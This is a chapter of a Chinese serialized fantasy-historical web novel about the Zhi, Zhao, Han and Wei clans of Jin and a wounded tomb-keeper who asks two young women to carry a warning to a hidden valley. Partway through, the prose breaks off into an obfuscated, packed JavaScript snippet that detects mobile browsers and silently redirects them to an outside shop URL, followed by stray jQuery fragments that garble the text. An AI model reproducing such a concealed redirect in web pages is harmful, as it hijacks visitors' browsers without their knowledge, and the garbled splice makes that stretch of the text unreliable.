64.风起云涌
作品:《寒衣节的通道》 新绛城,智氏府邸。
分宗后,智氏已然六代,宅邸深院重楼,气象森严。此时智氏宗主智申,虽在位多年,然精力渐衰,族中大事,多决于少主智瑶。这智瑶,身长八尺,面如冠玉,虎目美髯,然性情骄横,才高而德薄,常视列国卿大夫如草芥,对族人也刻薄寡恩。族老智果,为人沉稳,深谋远虑,常劝智瑶收敛锋芒,以保智氏长久。智申在位,智瑶对智果表面敬重,实则嫌其迂腐,二人貌合神离,心中各有算盘。
是日,智氏正堂之上,气氛凝重。智瑶高坐主位,智果侧坐相陪,下首立着数名巫祝模样的客卿,皆身着玄端深衣,头戴高峻玄冠,腰系朱红大带,垂下的绅几乎触地。最引人注目的是几位腰间繁复的一组玉佩,随着他们缓慢的步伐,发出清越而有节奏的‘铿锵’之声,仿佛在与某种看不见的韵律共鸣。领头一位老者,双手笼在宽大的狐裘袖中,隐约可见握着一束干枯的蓍草。
智瑶击案怒道:“少鵹析,竟敢食言!吾以厚礼待之,许以大夫之位,彼竟言‘大母遗迹非有缘者不可入’,拂袖而去。如今那玄金术与吉玄金图下落不明,岂不可恨!”
原来,智氏最近并不关注赵氏铸鼎之事,是因为少主智瑶偶得一人,自称大母冢人,名少鵹析,本不受重视。智果偶见其身带几件玄铁兵器,尤其佩剑,脊厚而劲,锷薄而利,试其锋,锐气逼人,持之在手,觉重若泰山,挥之则轻如鸿毛,真神器也!不仅与晋军使用的兵器大不相同,智果判断其他诸国也不可得,绝非人间凡铁。几番攀谈之后,智氏得知,世上存大母遗址,其中藏有上古玄金术与吉玄金图。玄金术,可炼制无坚不摧,无坚不入之玄精,吉玄金图,更是记录了山川大地中吉金玄金所藏之地。智瑶大喜,命少鵹析带路,前往大母遗迹。然少鵹析虽贪财,却似有忌惮,近日突然脱离智氏,扬言绝不引路,令智瑶计划落空。
堂下,一名魁梧者冷笑道:“少主何必恼怒?那少鵹析既不肯引路,吾等自有占卜之术,何愁找不到大母遗迹?”
智果眉头微皱,缓声道:“少主,大母冢人世代守秘,少鵹析既已决绝,恐非虚言。强行搜寻,若惊动各方势力,尤其是赵氏那边……”
智瑶挥手打断:“赵孟自顾不暇,铸鼎之事闹得满城风雨,哪有闲心管我智氏寻宝?况且,即使赵氏知玄衣人乃大母冢人一脉,却未接触那北宫彝,定然不知遗迹所在。听少鵹析说北宫彝尚在人世,只是重伤隐匿。此乃天赐良机,若不趁势而动,更待何时?”
遂下令道:“秘令,凡能指点大母遗迹线索者,赏千金,封上大夫!务必在赵氏得讯之前,寻得那玄金术和吉玄金图!”
众门客领命,纷纷退下,各自筹划去了。智果望着众人背影,眼中忧色更深,暗叹:“少主骄躁,恐为智氏招祸。”
再说赵氏府中。
赵鞅端坐堂上,面色阴沉。家臣识侍立一旁,手中持着一卷密报。
片刻,门吏通报:“韩伯求见。”
赵鞅眼中闪过一丝冷光:“请进。”
韩庚入内,行礼如仪,神色恭敬:“赵孟,昨日智果夜访寒舍,言有一工匠逃至智氏,称赵氏之鼎乃人为所毁。此事重大,不敢隐瞒,特来告知。”
赵鞅淡淡一笑,目光如炬:“韩伯坦诚,赵某感激。那工匠之言,智氏可曾核实?”
韩庚正色道:“智果言之凿凿,云断口有人为斫痕。赵某想,鼎折之事,关乎赵氏声誉,不得不察。”
赵鞅心中冷笑:韩氏倒是会做戏。你与魏氏联手,将吾铸鼎之事传为“欲献晋公”,以此激怒公室与其他卿大夫,如今又假惺惺来报信,真当吾乃三岁孩童不成?
原来,赵氏早已查明,那“献鼎晋公”的谣言,正是韩、魏两家暗中散布。赵鞅虽怒,却不动声色,只因尚未掌握确凿证据,证明西山工坊的箭簇亦出自韩魏之手。
赵鞅缓缓道:“韩伯有心了。鼎折之事,赵某自会彻查。至于那工匠,既然在智氏,便由智氏处置吧。赵某只问一句:韩伯可曾听闻,那箭簇来历?”
韩庚心头一跳,面上却不动声色:“箭簇?某未曾听闻。想来是工匠妄言,或是别有隐情?”
赵鞅深深看了韩庚一眼,不再追问:“既如此,韩伯请回。赵某稍后自当登门拜谢。”
韩庚告辞而出,心中暗松一口气。出了赵府,立即转道往魏氏宅邸而去。
魏氏宗主魏驹早已等候多时。二人相见,屏退左右。
韩庚低声道:“赵孟应已知消息是我等放出,但他未点破箭簇之事。看来仍在试探。”
魏驹冷笑:“赵孟老奸巨猾,不到万全之时,绝不会亮出底牌。那箭簇乃我魏氏秘制,若被他查出,便是开战之由。如今鼎已折,谣言已散,赵氏声望受损,我等目的已达。接下来,只需静观其变,看赵孟如何收场。”
韩庚点头:“正是。只是那智氏正在大肆招揽巫觋,似在寻找什么隐秘之物,听闻是大母遗迹?”
魏驹眼中精光一闪:“大母遗迹?从未听过,但智氏如此在意,吾等需多加留意,莫让智氏得了先机。”
二人商议良久,方定下后续对策,各自散去。
——————
夜色深沉,绛城郊外,一处隐蔽的山谷茅舍之中。
太史墨身着布衣,手持竹简,引领着两名年轻女子,穿过茂密树林,来到柴扉之前。
这两名女子,一瘸一瞎,正是余茶与莫姮。二人虽随太史墨而来,却满脸茫然,互相对视一眼,皆不知此行所为何故。
太史墨轻叩柴扉,低声道:“故人引客来访。”
片刻,门吱呀一声开了。一名中年男子倚门而立,玄色衣衫上深深浅浅,疑似血迹,左臂以布带悬吊,面色苍白如纸。此人正是大母冢人中青鸟一脉的北宫彝。
余茶与莫姮见是陌生之人,不禁后退半步。余茶疑惑地看向太史墨,道:“太史公,这是何意?”
北宫彝强撑病体,目光如电,扫过二女面容,沉声道:“二位不必惊慌。某乃北宫彝,大母冢人。今日请二位前来,非为私交,实因西山之事。”
莫姮眉峰微蹙:“北宫彝,彝?”她与余茶视线相交,余茶微微点头。
“君为西山毁鼎之人?”
北宫彝慢慢走回室内,倚坐床边,道:“非也。那日某在西山以鼎传讯,本想联络大母谷。不想鼎音初起,即被少鵹析阻止,他强行毁鼎,阻我传音。吾被反噬,少鵹析趁机将吾重伤,只能求助于太史墨,墨兄高义,不仅救我,还道西山之上,有两位女子知晓鼎语。所谓鼎语,应是吾族铜语。这‘铜语’一脉,千年以来,唯有大母血脉方能通晓。”说罢,他目光灼灼地看向余茶和莫姮。
余茶打量着茅屋,不紧不慢地问:“何为大母血脉?”
北宫彝轻喘几声,眉头紧皱,手颤颤接过太史墨给他的黑陶杯,轻啜了一口温热的浆水,道:“说来话长,几位先请坐。”看到三人袜而登席,才慢慢道:“大母乃上古昆仑母神,化身三千,女娲、东母、西母皆为母神化身。下昆仑有女娲后人,为吾等先祖,世代供奉昆仑母神。汝等所知的上古十巫,”北宫彝看向太史墨,道:“也是大母之后,殷人留有上古十巫之后,仍可与东母西母沟通。周灭商后,西母退出诸夏,东母远去东海,巫觋后人流落,百年来,渐分为巫祝和匠师两支。然诸夏留有大母遗迹,外称大母墓,由冢人守护。”
他伤重不支,渐渐从半倚,变为倚躺,对莫姮继续说道:“冢人分为青鸟与三足,不可离谷,否则视为逆人。逆人由青鸟中的少鵹一支剿灭。巫祝一族通神灵,匠师一族善铸造,但二者中解金铁之音者,只有大母血脉至纯之人。二位女子能懂铜语,足证乃是大母血脉。”
余茶闻言一震,望向莫姮,只见莫姮亦是神色复杂。她自幼便能听懂金石之声,只以为是天赋异禀,未曾想竟身世如此。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299142|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>北宫彝喘息片刻,继续说道:“大母族人分散天下已逾千年,巫祝稀少难觅踪迹,上古匠师淹没人间。某身为冢人中的青鸟,祖训每四年方可出谷一次,为大母寻宝探路。此次出谷,恰遇少鵹析一支逆奔。”
“少鵹析?”太史墨在一旁插话,“可是那智氏身边的门客?”
北宫彝顾不得伤痛,左拳轻锤案边,恨声道:“不错!少鵹析本是剿灭逆人者,却早已沦为逆人。他违背祖训,欲将大母遗迹献于诸侯权贵,换取高位厚禄。某发现其谋,遂在西山试图以鼎传讯,警告谷中族人其罪行。”
说到此处,北宫彝神色方显痛楚:“谁知少鵹析察觉,竟率人突袭,毁坏了传讯之鼎。某拼死突围,身受重伤,逃至此地。如今某最担忧者,乃是那日鼎毁之时,讯息是否已传?若传讯中断,族人不知少鵹析已奔,恐遭毒手。”
看着北宫彝神情激动,莫姮似有所感,正待上前,却被余茶握住右手,同时她趁机轻挪了一下跪麻的左腿,问道:“西山之鼎,赵氏铸造,君和赵氏有故?闻君所言,那大母谷距此地不近,如何用鼎传讯?”
闻余茶所疑,北宫彝轻扯唇角开口回应——竟是铜语:“天下铸鼎之技,皆出自昆仑母神所授,母神至纯血脉自会通晓铜语。吾青鸟一族世代侍奉西王母,念吾族衷心勤勉,西王母赐下此技,只要有鼎便可传讯,传讯远近,决于鼎技,技高则讯远。”随即,他又转换为晋语,对太史墨拱手道:“事出紧急,本意借赵氏之鼎传讯,并未想到鼎毁人亡。”
莫姮得知匠师乙竟是因为冢人争斗无辜枉死,心中翻涌,跪坐席上一时无言。
见二人沉默,北宫彝从怀中取出一枚铜符,红铜色,半掌大小,上面刻满古奥纹路,十分精美。他郑重递出,有气无力道:“某重伤难行,无法再赴大母谷。恳请女子,看在同为大母族人,持此铜符,速往大母谷报信。告知谷中长老:少鵹析已逆,速查谷内少鵹及三足一族,切勿轻信!唯有如此,大母诸夏一脉方可保全。”
余茶沉默,莫姮也未接铜符,她心中酸楚,低头轻言:“匠师乙为人方正寡言,与人为善,怜我年幼遭族人驱逐,照顾有加,这8年,某与瓦里有片瓦遮身,有冬衣保暖皆因匠师乙......”言此,莫姮有些哽咽,须臾,她左手摸了一把脸,继续道:“而冢人之争,却让他无辜惨死。”她转向太史墨,一双水汪汪的杏仁眼仅剩一只,那圆眼直视太史墨,深吸一口气道:“某不关心公卿之争,亦不在乎冢人存亡,某要为匠师乙报仇!”
太史墨点头叹息道:“汝小小年纪,恩怨分明。然毁鼎之人,是少鵹析,非北宫彝。”
北宫彝亦道:“女子放心,大母谷必剿逆人,只要汝等助某传讯,少鵹析必亡。”
莫姮沉默,她看了看一直静默跪坐的余茶,知其等自己决断,于是起身上前接过铜符,入手冰凉,似有千钧之重。她抬头看向北宫彝,坚定道:“君放心,只要大母谷灭少鵹析,即便前路凶险,吾定将消息送到。”
余茶却转头问太史墨:“太史公,欲如何言于赵孟?”
太史墨在一旁低头轻叹:“赵氏铸鼎之乱未弭,智伯复觊觎大母谷。夫谷中秘藏,世守千祀,有以鼎文暗通之异术,诚非寻常。今谷内复生内衅,若四卿并起而争,则晋国危矣,天下自此无宁日矣!。”
复又看了一眼北宫彝,对余茶道:“女子安心。吾祖上亦与大母谷有交,也算沾得巫觋血脉。赵氏暂不知大母谷详情。然,听闻大母谷在代国境内,此去代远矣,若去还需借力赵氏。”
北宫彝手臂搭在狭长的几上,眼中满是疲惫与期盼:“吾信太史公。”他对余茶和莫姮道:“切记,少鵹析背后必有诸侯支持,此行务必小心。大母之遗,千岁所传,宁死勿使逆人得之!。”
窗外风声呼啸,似有千军万马奔腾而来。屋内四人,皆知一场大祸正悄然拉开帷幕。莫姮紧握铜符,与余茶对视一眼,心意已决。

